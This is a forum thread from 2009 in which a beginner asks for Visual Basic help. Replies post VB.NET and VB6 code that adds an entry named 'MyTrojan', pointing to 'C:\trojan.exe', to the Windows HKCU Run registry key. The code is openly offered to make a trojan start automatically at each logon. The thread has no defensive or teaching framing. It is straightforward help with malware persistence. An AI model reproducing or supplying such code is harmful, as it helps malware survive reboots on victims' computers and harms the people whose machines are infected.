oh well that part i got now.... but im such a nub.... i know codes but not Visual Studio UI so dunno how to find everything -.- but that comes later i think....
where i find current_user thing.... or registry key thing or where i put the code ??
sorry for all the questions....
----------------------------------------------------------------
Not sure if you need quotes for name/pathCode:Imports Microsoft.Win32 Private Sub AddCurrentKey(ByVal name As String, ByVal path As String) Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) key.SetValue("MyTrojan", "C:/trojan.exe") End Sub
At least 2dgreengiant is on my side =P
And Mitron, if you're using VB6:
I don't know if it works on VB 2005+, but you can try:Private Sub Command1_Click()
Dim Act: Set Act = CreateObject("Wscript.Shell")
Dim Key: Key = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
Act.RegWrite Key & "\MyTrojan", "C:\trojan.exe", "REG_SZ"
End Sub
with the imports:Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim Act : Act = CreateObject("Wscript.Shell")
Dim Key : Key = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
Act.RegWrite(Key & "\MyTrojan", "C:\trojan.exe", "REG_SZ")
End Sub
//EbonesserImports Microsoft.Win32![]()
Last edited by Ebonesser; 06-20-2009 at 12:31 PM.